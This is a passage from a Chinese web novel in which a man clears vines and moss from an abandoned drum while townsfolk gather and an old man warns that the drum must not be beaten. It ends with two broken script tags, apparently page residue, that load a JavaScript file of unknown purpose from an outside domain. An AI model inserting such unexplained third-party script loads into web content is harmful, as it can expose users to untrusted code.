他没让周启上手。自己蹲在地上,镰刀贴着地面,一点点割掉缠在鼓架上的爬山虎藤蔓。
藤蔓长得极牢,根须都扎进了木头缝里,扯一下,连带着鼓架都跟着晃,发出吱吱呀呀的声音,像是这面老鼓在喊疼。晨露打湿了他的裤脚,膝盖以下全湿透了,沾了碎草叶和泥土。草屑沾了一身,头发上也挂了几根,他也不在意,用手背蹭了蹭额头上的汗,继续割。
割完藤蔓,又拿锄头刨掉鼓周围的杂草,一下一下,刨得格外认真。锄头落下去,草根被斩断的声音脆生生的,泥土翻上来,带着一股潮湿的气息。
太阳慢慢爬了上来。从东边的屋檐后面露出小半个脸,然后是一半,然后整个跳了出来。金光铺天盖地洒下来,晒得人身上暖融融的,像披了一层薄棉被。
围过来看热闹的百姓也越来越多。先是隔壁茶叶铺的掌柜探出头来看了一眼,然后缩回去,过了一会儿又探出来。然后是对面肉铺的老郑,围裙上还沾着血,手里拎着半扇排骨,就那么站着看。接着是斜对面茶馆的老李头,端着他的紫砂壶,壶嘴对着嘴吸溜,吸溜完了也不走。
人越聚越多,都远远地站着,对着这边指指点点,小声议论着,却没人敢上前。有个孩子想凑近了看,被他娘一把拽回去,拽得孩子踉跄了一步。
就在任弋拿着块粗布,一点点擦着鼓身上的青苔时,人群里忽然有了动静。
一个白发苍苍的老人,拄着拐杖,从人群里颤巍巍地走了出来。他走得很慢,拐杖点在青石板上,笃、笃、笃,每一步都像在犹豫。旁边的年轻人想扶他,被他摆手挡开了。
他的背驼得厉害,像一张用旧了的弓。脸上的皱纹深得像刀刻的,眼睛浑浊,但看着那面鼓的时候,眼神里有一种说不清的东西,像是怕,又像是别的什么。
老人在县城里住了一辈子。不是一代县令,是好几代。
他见证过这面鼓刚挂上去时的样子,崭新的鼓皮,朱红色的鼓架,鼓槌上还系着红绸。也见证过它被遗忘、被荒废、被爬山虎吞没。
他看着任弋蹲在地上擦青苔的动作,脸上的皱纹挤得更深了,满是担忧。他举起拐杖,对着任弋连连摆手,拐杖在空中晃来晃去,差点打到旁边的周启。
“使不得啊先生。”老人的声音沙哑,像风吹过干枯的芦苇,“这鼓,开不得!”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">